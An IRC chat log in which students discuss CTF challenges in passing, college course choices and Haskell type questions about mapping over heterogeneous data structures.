[2015-04-18T02:02:47-0400] <j> you do any of the Linux challs?
[2015-04-18T02:04:45-0400] <LittleBobbyTables> nah
[2015-04-18T02:04:49-0400] <LittleBobbyTables> did the "colorful" one
[2015-04-18T02:04:51-0400] <LittleBobbyTables> some web ones
[2015-04-18T02:07:48-0400] <j> web ones start to get pretty hard actually
[2015-04-18T02:10:09-0400] Disconnect for Sleep Mode
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[2015-04-18T11:15:33-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-18T11:15:33-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-18T01:58:14-0400] <+awebot> j: Moments ago, LittleBobbyTables said "part of the competition is IP. making you lose is part of the competition".
[2015-04-18T01:58:14-0400] <+awebot> j: Moments ago, j said \n@tell j.
[2015-04-18T01:58:42-0400] <kenzierocks> @tell kenzierocks ; @tell kenzierocks
[2015-04-18T01:58:42-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-18T01:58:42-0400] <+awebot> kenzierocks: Moments ago, kenzierocks said ; @tell kenzierocks.
[2015-04-18T01:58:45-0400] <kenzierocks> meh
[2015-04-18T01:59:37-0400] <LittleBobbyTables> It's rust
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: A minute ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:38-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:39-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:40-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:41-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:42-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:43-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:45-0400] <LittleBobbyTables> Jesus christ that spam
[2015-04-18T01:59:59-0400] <j> wow LittleBobbyTables stop spamming
[2015-04-18T02:00:23-0400] <LittleBobbyTables> "j said"
[2015-04-18T02:01:13-0400] <LittleBobbyTables> j: did you ever figure anything out about binfoil
[2015-04-18T02:02:17-0400] <j> talking to Spin about it now
[2015-04-18T02:02:21-0400] <j> it's way too vague
[2015-04-18T02:02:47-0400] <j> you do any of the Linux challs?
[2015-04-18T02:04:45-0400] <LittleBobbyTables> nah
[2015-04-18T02:04:50-0400] <LittleBobbyTables> did the "colorful" one
[2015-04-18T02:04:52-0400] <LittleBobbyTables> some web ones
[2015-04-18T02:07:48-0400] <j> web ones start to get pretty hard actually
[2015-04-18T02:11:33-0400] <LittleBobbyTables> nou
[2015-04-18T02:12:20-0400] <LittleBobbyTables> hack6 failed to use 1 interact point(s) on CatsInBags.
[2015-04-18T02:12:20-0400] <LittleBobbyTables> hack6 successfully used 1 interact point(s) on CatsInBags.
[2015-04-18T02:12:20-0400] <LittleBobbyTables> hack6 successfully used 1 interact point(s) on CatsInBags.
[2015-04-18T02:12:20-0400] <LittleBobbyTables> hack6 failed to use 1 interact point(s) on CatsInBags.
[2015-04-18T02:12:21-0400] <LittleBobbyTables> lol
[2015-04-18T02:17:46-0400] <j> jerk
[2015-04-18T02:21:56-0400] <LittleBobbyTables> not me
[2015-04-18T02:28:25-0400] <LittleBobbyTables> ugh
[2015-04-18T02:28:28-0400] <LittleBobbyTables> I'm so close to ISO
[2015-04-18T02:58:28-0400] <LittleBobbyTables> j: what web ones have you done
[2015-04-18T04:15:34-0400] <j> LittleBobbyTables: 1-6
[2015-04-18T04:15:58-0400] <j> I know how to do some of them but too tired rn
[2015-04-18T04:36:06-0400] <j> LittleBobbyTables
[2015-04-18T08:57:52-0400] <fwilson> @tell awebot @tell awebot @tell awebot @tell awebot @tell awebot @tell fwilson ayy lmao
[2015-04-18T08:57:52-0400] <+awebot> fwilson: I'm right here!
[2015-04-18T11:15:33-0400] Mode is +nrt
[2015-04-18T11:33:33-0400] <LittleBobbyTables> j: yeah
[2015-04-18T11:33:33-0400] <+awebot> LittleBobbyTables: 6 hours ago, j said skid.
[2015-04-18T11:33:42-0400] <LittleBobbyTables> lmao
[2015-04-18T11:42:26-0400] <Fill> awe: here?
[2015-04-18T11:59:29-0400] <@awe> fwilson: yup!
[2015-04-18T11:59:29-0400] <+awebot> awe: 10 hours ago, kenzierocks said ping ping ping ping ping ping ping ping ping.
[2015-04-18T11:59:33-0400] <@awe> erm
[2015-04-18T11:59:34-0400] <@awe> Fill: yup!
[2015-04-18T11:59:42-0400] <fwilson> anyone here at hackru?
[2015-04-18T11:59:47-0400] <Fill> hey
[2015-04-18T11:59:53-0400] <fwilson> wait
[2015-04-18T12:00:00-0400] <fwilson> who is at hackru exactly
[2015-04-18T12:00:12-0400] <Fill> awe: should I learn Haskell? I'm loving Rust's functional flavor
[2015-04-18T12:00:20-0400] <Fill> and I started reading a bit about Haskell
[2015-04-18T12:00:26-0400] <Fill> and how it changes you as a programmer
[2015-04-18T12:00:27-0400] <Fill> lol
[2015-04-18T12:01:00-0400] <@awe> Hmm, well, Haskell is really cool, though IO can be frustrating.
[2015-04-18T12:01:13-0400] <alokpathy> fwilson: Not me, but you're about a 20 minute train ride from where I live :P
[2015-04-18T12:01:21-0400] <fwilson> >not going to hackru
[2015-04-18T12:01:35-0400] <alokpathy> Oh, darn.
[2015-04-18T12:01:38-0400] <alokpathy> Nevermind.
[2015-04-18T12:01:50-0400] <alokpathy> Still about a 5-6 hour drive from where I live :P
[2015-04-18T12:02:08-0400] <@awe> What?
[2015-04-18T12:02:12-0400] <fwilson> lol
[2015-04-18T12:02:15-0400] <fwilson> >awe
[2015-04-18T12:02:17-0400] <@awe> Rutgers is like 30m from your house.
[2015-04-18T12:02:17-0400] <fwilson> >having op
[2015-04-18T12:02:28-0400] <Fill> I'm gonna give it a go, if not just for the fun of it
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[2015-04-18T12:02:39-0400] <awe> Fill: I highly recommend Penn's CIS 194 course.
[2015-04-18T12:02:50-0400] <awe> Fill: http://www.seas.upenn.edu/~cis194/
[2015-04-18T12:03:12-0400] <Fill> you took it?
[2015-04-18T12:03:59-0400] <+awe> I've gone through it, yeah.
[2015-04-18T12:04:33-0400] <Fill> nice
[2015-04-18T12:04:38-0400] <Fill> I'll check it out, thanks
[2015-04-18T12:06:10-0400] <+awe> Fill: once you've reached a good background in writing purely functional Haskell, you may wish to learn a hybrid language like OCaml, F#, or Scala.
[2015-04-18T12:06:25-0400] <+awe> Fill: the reason being Haskell IO can be very painful.
[2015-04-18T12:07:05-0400] <LittleBobbyTables> or
[2015-04-18T12:07:08-0400] <+awe> Fill: but the way I'd recommend writing any of those languages is to make everything purely functional except for IO.
[2015-04-18T12:07:10-0400] <LittleBobbyTables> here's a much better idea
[2015-04-18T12:07:28-0400] <LittleBobbyTables> Don't learn Haskell if you want to learn it to write non-mathy programs, cause it's kind of shit for it
[2015-04-18T12:07:43-0400] <Fill> yeah, my goal right now is to get acquainted with pure functional programming, since I never quite mastered the concept, but I think now I'm starting to understand how powerful and different it can be
[2015-04-18T12:07:54-0400] <bob_twinkles> Haskell IO isn't painful,  just *really* different
[2015-04-18T12:08:06-0400] <bob_twinkles> you have to basically forget everything you think you know about how statements execute =P
[2015-04-18T12:08:15-0400] <Fill> hum
[2015-04-18T12:08:17-0400] <+awe> bob_twinkles: it can be a huge pain.
[2015-04-18T12:08:25-0400] <bob_twinkles> not if you design your interactions right
[2015-04-18T12:08:33-0400] <bob_twinkles> of course getting that intuition can be really painful
[2015-04-18T12:08:44-0400] <JacobEdelman> so
[2015-04-18T12:08:45-0400] <JacobEdelman> awe
[2015-04-18T12:08:58-0400] <JacobEdelman> I'm trying to decide whether or not to take two cs classes at princeotn next year
[2015-04-18T12:09:03-0400] <JacobEdelman> if I do I would take http://www.cs.princeton.edu/~dpw/courses/cos326-12/notes/index.php
[2015-04-18T12:09:11-0400] <+awe> bob_twinkles: the painful part is mostly having it eat your types.
[2015-04-18T12:09:21-0400] <JacobEdelman> and http://registrar.princeton.edu/course-offerings/course_details.xml?courseid=002074&term=1162
[2015-04-18T12:09:24-0400] <bob_twinkles> like, if Haskell IO is being painful that's usually an indication that you haven't designed your abstractions/program correctly
[2015-04-18T12:09:28-0400] <bob_twinkles> how do you mean?
[2015-04-18T12:09:33-0400] <JacobEdelman> awe: thoughts on whether the hw amount would overwhelm my hs schedule?
[2015-04-18T12:09:57-0400] <+awe> bob_twinkles: it's like Rand.
[2015-04-18T12:10:12-0400] <+awe> bob_twinkles: you want to use it and therefore it ends up having to be in a lot of places.
[2015-04-18T12:10:24-0400] <bob_twinkles> then you've Made A Mistake
[2015-04-18T12:10:34-0400] <+awe> Well, yeah, probably.
[2015-04-18T12:10:36-0400] <bob_twinkles> and you're thinking like an imperative programmer
[2015-04-18T12:10:44-0400] <+awe> That's still painful though.
[2015-04-18T12:11:02-0400] <bob_twinkles> you can write clean IO/Rand/whatever code, you just *can not* do it the same way you would in an imperative language
[2015-04-18T12:11:11-0400] <+awe> JacobEdelman: this guy name dropped p hard.
[2015-04-18T12:11:25-0400] <+awe> JacobEdelman: Nate Foster (Cornell), Benjamin Pierce (UPenn), Stephanie Weirich (UPenn) and Steve Zdancewic (UPenn).
[2015-04-18T12:11:55-0400] <+awe> JacobEdelman: anyway, it seems like there's only 7 assignments.
[2015-04-18T12:12:22-0400] <JacobEdelman> awe: which guy?
[2015-04-18T12:12:29-0400] <JacobEdelman> awe: the first course?
[2015-04-18T12:12:29-0400] <+awe> JacobEdelman: whoever wrote that first page.
[2015-04-18T12:12:35-0400] <JacobEdelman> ah, functional programing
[2015-04-18T12:13:14-0400] <+awe> And I have no idea about the homework for the second course.
[2015-04-18T12:13:54-0400] <JacobEdelman> awe: how hard does this assignment (from the first course) look? www.cs.princeton.edu/~dpw/courses/cos326-12/ass/a4.php
[2015-04-18T12:15:09-0400] <+awe> Not particularly.
[2015-04-18T12:15:26-0400] <JacobEdelman> awe: so, only a few hours of work... hmm...
[2015-04-18T12:15:30-0400] <+awe> The proofs might be a bit involved.
[2015-04-18T12:15:31-0400] <JacobEdelman> I shall have to think further
[2015-04-18T12:15:41-0400] <JacobEdelman> awe: true, I'll have to look at them in more detial
[2015-04-18T12:15:52-0400] <JacobEdelman> the security one has pretty easy looking assignments
[2015-04-18T12:16:45-0400] <JacobEdelman> awe: https://www.princeton.edu/~pmittal/teaching/ele432-spring15/homework/hw3.html
[2015-04-18T12:17:57-0400] <alokpathy> JacobEdelman: Keep in mind you'll also be writing college apps first sem.
[2015-04-18T12:17:57-0400] <+awe> Heh.
[2015-04-18T12:18:14-0400] <JacobEdelman> alokpathy: true, although I plan on doing a bunch over the summer
[2015-04-18T12:18:30-0400] <JacobEdelman> alokpathy: can you take a look at the hw for http://www.cs.princeton.edu/~dpw/courses/cos326-12/notes/index.php
[2015-04-18T12:18:32-0400] <alokpathy> I don't think they're out over the summer?
[2015-04-18T12:18:42-0400] <alokpathy> CommonApp opens in August, I think.
[2015-04-18T12:18:55-0400] <+awe> JacobEdelman: yeah, you're not going to do them all over the summer.
[2015-04-18T12:18:59-0400] <JacobEdelman> alokpathy: august is the summer, and the questions are predicitable, I think?
[2015-04-18T12:19:03-0400] <JacobEdelman> I'm not sure
[2015-04-18T12:19:06-0400] <JacobEdelman> I think I'm doing the essay
[2015-04-18T12:19:08-0400] <JacobEdelman> or something
[2015-04-18T12:19:11-0400] <alokpathy> Nobody actually does them over the summer, lol.
[2015-04-18T12:19:20-0400] <alokpathy> Sure, maybe the CA essay if you use the one from Lang.
[2015-04-18T12:19:30-0400] <JacobEdelman> alokpathy: nah, I'm writing a new one
[2015-04-18T12:19:49-0400] <JacobEdelman> alokpathy: I think ben may have started his and written a bunch over the summer
[2015-04-18T12:19:59-0400] <JacobEdelman> he went through several compeltely different versions I think
[2015-04-18T12:19:59-0400] <alokpathy> Well even then, you can probably still do your CA essay over the summer since the prompts are the same, but probably not supps.
[2015-04-18T12:20:04-0400] <JacobEdelman> true
[2015-04-18T12:20:14-0400] <JacobEdelman> still, thoughts on the functional hw?
[2015-04-18T12:21:08-0400] <alokpathy> I don't think I know enough FP to accurately judge these assignments.
[2015-04-18T12:21:24-0400] <alokpathy> awe: bob_twinkles or grantwu might know
[2015-04-18T12:21:39-0400] <+awe> I already answered my opinion.
[2015-04-18T12:22:01-0400] <alokpathy> Ah, right, logs.
[2015-04-18T12:22:53-0400] <alokpathy> Considering it's a 300-level course I think it could be managable.
[2015-04-18T12:25:42-0400] <JacobEdelman> alokpathy: the question is whether is and information security are manageable
[2015-04-18T12:26:06-0400] <JacobEdelman> alokpathy: information security includes hw such as https://www.princeton.edu/~pmittal/teaching/ele432-spring15/homework/hw3.html
[2015-04-18T12:26:10-0400] <JacobEdelman> which doesn't look too hard
[2015-04-18T12:27:07-0400] <alokpathy> Was this an assignment Felten gave or Narayanan?
[2015-04-18T12:27:35-0400] <JacobEdelman> they use the same material I believe
[2015-04-18T12:28:33-0400] <+awe> Probably.
[2015-04-18T12:29:01-0400] <JacobEdelman> although I am confused cause I didn't think it ran during spring and that is neither narayanan or felten
[2015-04-18T12:29:07-0400] <JacobEdelman> here's one they did run from a while back: http://www.cs.princeton.edu/courses/archive/fall10/cos432/homework/hw4.html
[2015-04-18T12:29:35-0400] <alokpathy> It doesn't seem all that bad.
[2015-04-18T12:30:59-0400] <+awe> Although, teachers don't _always_ use the same material.
[2015-04-18T12:31:14-0400] <+awe> For example, I'm taking 220 with Tim next semester and his class is much easier than 220 with Arjun.
[2015-04-18T12:31:26-0400] <+awe> I might TA Arjun's 220 though.
[2015-04-18T12:31:51-0400] <+awe> (Because he's teaching it in the Spring)
[2015-04-18T12:32:21-0400] <JacobEdelman> alokpathy: do you think it is less work than the course you are currentely in?
[2015-04-18T12:39:21-0400] <sdamashek> Tamini: are you gonna write tjctf problems
[2015-04-18T12:40:57-0400] <fwilson> http://goo.gl/Gp9fRM
[2015-04-18T12:43:04-0400] <alokpathy> JacobEdelman: Probably?
[2015-04-18T12:43:10-0400] <JacobEdelman> okay
[2015-04-18T12:43:24-0400] <alokpathy> Though, yeah, teachers don't always use the same material.
[2015-04-18T12:43:39-0400] <alokpathy> There have been a few 423 profs in the past, and they've all used different stuff.
[2015-04-18T12:45:00-0400] <JacobEdelman> awe: what is the type of the map function?
[2015-04-18T12:45:13-0400] <JacobEdelman> alokpathy: oh, I was told by felten that him and naranyan just switch off
[2015-04-18T12:47:44-0400] <alokpathy> Ah, okay
[2015-04-18T12:48:37-0400] <+awe> JacobEdelman: (a -> b) -> [a] -> [b]
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[2015-04-18T12:26:06-0400] <JacobEdelman> alokpathy: information security includes hw such as https://www.princeton.edu/~pmittal/teaching/ele432-spring15/homework/hw3.html
[2015-04-18T12:26:10-0400] <JacobEdelman> which doesn't look too hard
[2015-04-18T12:27:07-0400] <alokpathy> Was this an assignment Felten gave or Narayanan?
[2015-04-18T12:27:34-0400] <JacobEdelman> they use the same material I believe
[2015-04-18T12:28:33-0400] <+awe> Probably.
[2015-04-18T12:29:01-0400] <JacobEdelman> although I am confused cause I didn't think it ran during spring and that is neither narayanan or felten
[2015-04-18T12:29:07-0400] <JacobEdelman> here's one they did run from a while back: http://www.cs.princeton.edu/courses/archive/fall10/cos432/homework/hw4.html
[2015-04-18T12:29:35-0400] <alokpathy> It doesn't seem all that bad.
[2015-04-18T12:30:59-0400] <+awe> Although, teachers don't _always_ use the same material.
[2015-04-18T12:31:14-0400] <+awe> For example, I'm taking 220 with Tim next semester and his class is much easier than 220 with Arjun.
[2015-04-18T12:31:26-0400] <+awe> I might TA Arjun's 220 though.
[2015-04-18T12:31:51-0400] <+awe> (Because he's teaching it in the Spring)
[2015-04-18T12:32:21-0400] <JacobEdelman> alokpathy: do you think it is less work than the course you are currentely in?
[2015-04-18T12:39:21-0400] <sdamashek> Tamini: are you gonna write tjctf problems
[2015-04-18T12:40:57-0400] <fwilson> http://goo.gl/Gp9fRM
[2015-04-18T12:43:04-0400] <alokpathy> JacobEdelman: Probably?
[2015-04-18T12:43:09-0400] <JacobEdelman> okay
[2015-04-18T12:43:24-0400] <alokpathy> Though, yeah, teachers don't always use the same material.
[2015-04-18T12:43:39-0400] <alokpathy> There have been a few 423 profs in the past, and they've all used different stuff.
[2015-04-18T12:45:00-0400] <JacobEdelman> awe: what is the type of the map function?
[2015-04-18T12:45:13-0400] <JacobEdelman> alokpathy: oh, I was told by felten that him and naranyan just switch off
[2015-04-18T12:47:44-0400] <alokpathy> Ah, okay
[2015-04-18T12:48:37-0400] <+awe> JacobEdelman: (a -> b) -> [a] -> [b]
[2015-04-18T12:49:13-0400] <JacobEdelman> awe: but what if you want to map over structures that are more complicated
[2015-04-18T12:49:31-0400] <JacobEdelman> such as binary trees where left leaves have one type and right leaves another
[2015-04-18T12:49:50-0400] <JacobEdelman> (I'm getting this from a paper, and I want to know what type of solutions exist)
[2015-04-18T12:54:25-0400] <bob_twinkles> that's what fmap is for!
[2015-04-18T12:54:31-0400] <bob_twinkles> (a -> b) -> f a -> f b
[2015-04-18T12:54:58-0400] <fwilson> oh god haskell
[2015-04-18T12:55:01-0400] <bob_twinkles> where f can be anything from Either e to Maybe to List to Set to BinaryTree
[2015-04-18T13:01:41-0400] <JacobEdelman> bob_twinkles: that won't work if the binary tree has multiple leaf types
[2015-04-18T13:02:00-0400] <JacobEdelman> bob_twinkles: (although it does work on binary trees with only one data type)
[2015-04-18T13:02:29-0400] <bob_twinkles> ?
[2015-04-18T13:02:47-0400] <bob_twinkles> you mean like a tree with polymorphic contents?
[2015-04-18T13:03:15-0400] <bob_twinkles> JacobEdelman: like if my left child was an int and my right child was a float?
[2015-04-18T13:03:20-0400] <JacobEdelman> yeah
[2015-04-18T13:03:32-0400] <bob_twinkles> you can't even write a tree like that in Haskell, so it's a moot point =P
[2015-04-18T13:04:04-0400] <JacobEdelman> bob_twinkles: wait, assuming I define my own binary tree type
[2015-04-18T13:05:04-0400] <JacobEdelman> bob_twinkles: bottom of page 3 http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.73.5528&rep=rep1&type=pdf
[2015-04-18T13:05:11-0400] <JacobEdelman> below that they give an answer
[2015-04-18T13:05:33-0400] <JacobEdelman> btu I don't think the answer would be valid in something like haskel (but the question is, I think)
[2015-04-18T13:06:48-0400] <bob_twinkles> that type is... basically just nonsensical
[2015-04-18T13:07:10-0400] <bob_twinkles> like, haskell's answer to types like that is "you're insane to think that's a good idea, try again"
[2015-04-18T13:07:36-0400] <bob_twinkles> you *could* write a type like that s ure
[2015-04-18T13:08:13-0400] <bob_twinkles> but you wouldn't be able to leverage many of the built-in operations that haskell provides
[2015-04-18T13:09:43-0400] <bob_twinkles> I guess what you'd actually do is define 2 types, data TreeData = FloatData Float | IntData Int and data BTree a = Leaf a | Node (BTree a) (BTree a)
[2015-04-18T13:10:08-0400] <bob_twinkles> and then BTree would be a perfectly valid Functor, but the function you pass to fmap would have to take a TreeData
[2015-04-18T13:11:59-0400] <bob_twinkles> JacobEdelman: so actually I'm not sure why they say that (a -> b) -> f a -> f b isn't general enough... as long as a can be any type you like you can just make it an algebraic type which contains the 2 different types you need
[2015-04-18T13:13:22-0400] <JacobEdelman> yeah, thats basicly what they end up doing in the paper
[2015-04-18T13:13:31-0400] <JacobEdelman> okay, thanks for the explanation
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[2015-04-18T13:52:09-0400] <+awe> [13:03:32]  <bob_twinkles>	you can't even write a tree like that in Haskell, so it's a moot point 😝
[2015-04-18T13:52:18-0400] <+awe> bob_twinkles: it's possible, yeah.
[2015-04-18T13:52:52-0400] <bob_twinkles> you can fake it, but haskell doesn't allow polymorphism
[2015-04-18T13:53:06-0400] <+awe> No, it doesn't, but you can do the much saner thing which is use an ADT like you said later.
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[2015-04-18T13:58:13-0400] <JacobEdelman> wait, I don't think you need polymorphism?
[2015-04-18T13:58:29-0400] <bob_twinkles> you don't
[2015-04-18T13:58:51-0400] <JacobEdelman> could I make a list-like type in haskel where elements at odd indices are ints and at even ones are strings?
[2015-04-18T13:59:23-0400] <bob_twinkles> yeah, you'd just have a mutually recursive type
[2015-04-18T13:59:35-0400] <JacobEdelman> ?
[2015-04-18T13:59:39-0400] <JacobEdelman> example, by chance?
[2015-04-18T13:59:52-0400] <JacobEdelman> (also, then the challenge would be: how do I map over that)
[2015-04-18T14:00:02-0400] <+awe> data Odd = O Int Even, data Even = O String Odd
[2015-04-18T14:00:14-0400] <bob_twinkles> ^
[2015-04-18T14:00:17-0400] <JacobEdelman> .... wow
[2015-04-18T14:00:19-0400] <bob_twinkles> you couldn't write a functor instance for that though
[2015-04-18T14:00:22-0400] <JacobEdelman> I'm jealous 
[2015-04-18T14:00:25-0400] <JacobEdelman> haskel is nice
[2015-04-18T14:00:29-0400] <JacobEdelman> bob_twinkles: ?
[2015-04-18T14:00:38-0400] <JacobEdelman> (understand, i no little haskell)
[2015-04-18T14:00:41-0400] <+awe> You'd probably want | Empty as constructors for each of them.
[2015-04-18T14:00:51-0400] <bob_twinkles> https://wiki.haskell.org/Typeclassopedia#Functor
[2015-04-18T14:01:00-0400] <+awe> so, it'd actually be like: data Odd = O Int Even | OEmpty and data Even = E String Odd | EEmpty
[2015-04-18T14:01:15-0400] <JacobEdelman> ah, so no maps
[2015-04-18T14:01:22-0400] <JacobEdelman> well, I'm starting to understand the paper better
[2015-04-18T14:01:31-0400] <+awe> bob_twinkles: I think you could write it...?
[2015-04-18T14:01:34-0400] <JacobEdelman> a big part of it is doing pattern matching on types
[2015-04-18T14:01:44-0400] <bob_twinkles> awe: what would a be?
[2015-04-18T14:01:51-0400] <+awe> Well, not exactly for that type.
[2015-04-18T14:01:55-0400] <+awe> But I think you could do something tricky.
[2015-04-18T14:02:11-0400] <+awe> Maybe not.
[2015-04-18T14:02:35-0400] <+awe> The bigger question would be why would you even want that?
[2015-04-18T14:02:43-0400] <+awe> Why not just have [(Int, String)]
[2015-04-18T14:02:53-0400] <JacobEdelman> yeah, you could
[2015-04-18T14:03:13-0400] <bob_twinkles> I mean, you're type would be http://lpaste.net/5585877527072604160
[2015-04-18T14:03:15-0400] <JacobEdelman> but there are situations in which you may have well definied collections of elements in haskel and not be able to map them
[2015-04-18T14:03:25-0400] <bob_twinkles> a list of pairs isn't quite the same thing =P
[2015-04-18T14:03:33-0400] <bob_twinkles> since you always have to have both
[2015-04-18T14:03:40-0400] <JacobEdelman> ^
[2015-04-18T14:03:49-0400] <JacobEdelman> so, its an interesting conundrum
[2015-04-18T14:04:30-0400] <+awe> bob_twinkles: I don't see a use case for not having them match though.
[2015-04-18T14:05:03-0400] <bob_twinkles> I don't either, but this is a purely theoretical discussion where we don't concern ourselves with minor details like praticality =P
[2015-04-18T14:05:27-0400] <JacobEdelman> well, the binary tree could definitely have practicality
[2015-04-18T14:05:33-0400] <JacobEdelman> I think
[2015-04-18T14:05:46-0400] <bob_twinkles> binary trees are useful and you can write a Functor instance for them
[2015-04-18T14:05:47-0400] <+awe> You can use a BTree though.
[2015-04-18T14:06:04-0400] <bob_twinkles> I don't think you can write a Functor instance for Odd/Even though
[2015-04-18T14:06:17-0400] <JacobEdelman> wait
[2015-04-18T14:06:21-0400] <+awe> Yeah, I'm thinking not unless there's some trickery to unify the types.
[2015-04-18T14:06:26-0400] <bob_twinkles> actually... you probably could
[2015-04-18T14:06:28-0400] <JacobEdelman> what if its a not complete BTree
[2015-04-18T14:06:34-0400] <+awe> JacobEdelman: you use Maybe.
[2015-04-18T14:06:36-0400] <bob_twinkles> it would just operate only on the Odds and then skip the Evens or vice versa
[2015-04-18T14:06:48-0400] <+awe> bob_twinkles: that'd be... very interesting.
[2015-04-18T14:06:49-0400] <JacobEdelman> and all left nodes are strings?
[2015-04-18T14:07:09-0400] <bob_twinkles> also possibly not the most useful thing =P
[2015-04-18T14:07:11-0400] <JacobEdelman> awe: isn't the maybe the same as turning the list into (Int,String)s
[2015-04-18T14:07:12-0400] <JacobEdelman> ?
[2015-04-18T14:07:16-0400] <+awe> No?
[2015-04-18T14:07:23-0400] <+awe> Maybe just represents that a node could be missing.
[2015-04-18T14:07:24-0400] <JacobEdelman> okay
[2015-04-18T14:07:38-0400] <+awe> data Maybe a = Just a | Nothing
[2015-04-18T14:07:41-0400] <JacobEdelman> wait
[2015-04-18T14:07:42-0400] <JacobEdelman> remember
[2015-04-18T14:07:52-0400] <JacobEdelman> each left node is a string and the right node is an int
[2015-04-18T14:08:08-0400] <JacobEdelman> look at the bottom of page 3 http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.73.5528&rep=rep1&type=pdf
[2015-04-18T14:08:19-0400] <JacobEdelman> they give the definition of their btree there
[2015-04-18T14:09:34-0400] <JacobEdelman> the general problem is can you define the type of a map function for any valid datastructure
[2015-04-18T14:09:52-0400] <+awe> Yes.
[2015-04-18T14:09:57-0400] <+awe> I'm pretty sure, anyway.
[2015-04-18T14:10:25-0400] <JacobEdelman> try
[2015-04-18T14:10:31-0400] <JacobEdelman> tell me when you think you have
[2015-04-18T14:10:43-0400] <+awe> Try writing it for what?
[2015-04-18T14:10:44-0400] <JacobEdelman> I'd be interested to see what you come up with
[2015-04-18T14:10:53-0400] <bob_twinkles> what's the space of "any valid datastructure" though
[2015-04-18T14:10:54-0400] <JacobEdelman> try writing the type signature of the map funciton
[2015-04-18T14:11:00-0400] <+awe> ...
[2015-04-18T14:11:03-0400] <JacobEdelman> uhg
[2015-04-18T14:11:08-0400] <+awe> fmap :: Functor f => (a -> b) -> f a -> f b
[2015-04-18T14:11:10-0400] <+awe> There you go.
[2015-04-18T14:11:11-0400] <JacobEdelman> just read the bottom of the 3rd page of bottom of page 3 http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.73.5528&rep=rep1&type=pdf
[2015-04-18T14:11:20-0400] <JacobEdelman> awe: doesn't work on our even/odd list from earlier
[2015-04-18T14:11:41-0400] <bob_twinkles> actually it does
[2015-04-18T14:12:17-0400] <JacobEdelman> ?
[2015-04-18T14:12:25-0400] <JacobEdelman> are you saying that the paper is nonsense?
[2015-04-18T14:12:28-0400] <JacobEdelman> (which is a viable answer)
[2015-04-18T14:12:36-0400] <JacobEdelman> (the paper may be nonsense, I'm not sure)
[2015-04-18T14:13:04-0400] <+awe> I mean, it doesn't seem to say anywhere "lol, you can't do this in Haskell"
[2015-04-18T14:13:44-0400] <+awe> I do see this complaint though:
[2015-04-18T14:13:53-0400] <+awe> "Although the evaluation of this program is perfectly straightforward, it will not type-check in standard functional languages such as ML [MT91, Cam97] and Haskell [Has02] or in the typed pattern calculus of [?] since they require that every case in a pattern-match has the same type. This constraint is unnecessarily tight, however, as it suffices that each case specialise a default type to one appropriate to its pattern."
[2015-04-18T14:14:17-0400] <JacobEdelman> http://awesomescreenshot.com/04e4u5bwe5
[2015-04-18T14:15:05-0400] <+awe> You should be able to basically have two fmaps
[2015-04-18T14:15:15-0400] <+awe> one that does the X1 side and one that does the X2 sied.
[2015-04-18T14:15:16-0400] <+awe> side*
[2015-04-18T14:15:22-0400] <+awe> and that matches the signature of fmap that we have.
[2015-04-18T14:15:36-0400] <JacobEdelman> than that pic above is wrong?
[2015-04-18T14:15:43-0400] <+awe> I mean, it's not wrong per se.
[2015-04-18T14:15:47-0400] <JacobEdelman> ?
[2015-04-18T14:15:55-0400] <+awe> They're saying that you could also have a map function that does both at the same time and takes tow functions
[2015-04-18T14:15:56-0400] <+awe> two*
[2015-04-18T14:16:10-0400] <+awe> Yes, the signature of fmap is not fit for that, but it doesn't really need to be.
[2015-04-18T14:16:42-0400] <JacobEdelman> well, he's saying that you can have collections with mutliple types
[2015-04-18T14:16:53-0400] <JacobEdelman> and that mapping does not working on them with the first type definition he gives
[2015-04-18T14:17:06-0400] <+awe> It does, it just can't map straight across.
[2015-04-18T14:17:11-0400] <JacobEdelman> on the next page he gives a different type definition that will work on them but I do not believe can be used in haskel
[2015-04-18T14:17:25-0400] <JacobEdelman> awe: but it needs two functions, right?
[2015-04-18T14:17:35-0400] <JacobEdelman> one to take the strs and one to take the ints
[2015-04-18T14:17:46-0400] <JacobEdelman> and that isn't part of the type definition
[2015-04-18T14:17:48-0400] <+awe> So does his!
[2015-04-18T14:17:57-0400] <+awe> His definition of map takes two functions!
[2015-04-18T14:17:59-0400] <JacobEdelman> correct, so he writes a new type defintiion to account for that
[2015-04-18T14:18:02-0400] <JacobEdelman> yes
[2015-04-18T14:18:16-0400] <bob_twinkles> http://lpaste.net/3089773462420455424
[2015-04-18T14:18:23-0400] <bob_twinkles> ^ functor instance for screwy doubly recursive list type
[2015-04-18T14:18:33-0400] <LittleBobbyTables> You guys are still talking about Haskell?
[2015-04-18T14:18:40-0400] <bob_twinkles> always
[2015-04-18T14:18:48-0400] <JacobEdelman> okay, I need to learn haskel
[2015-04-18T14:18:54-0400] <JacobEdelman> cause that is beautiful 
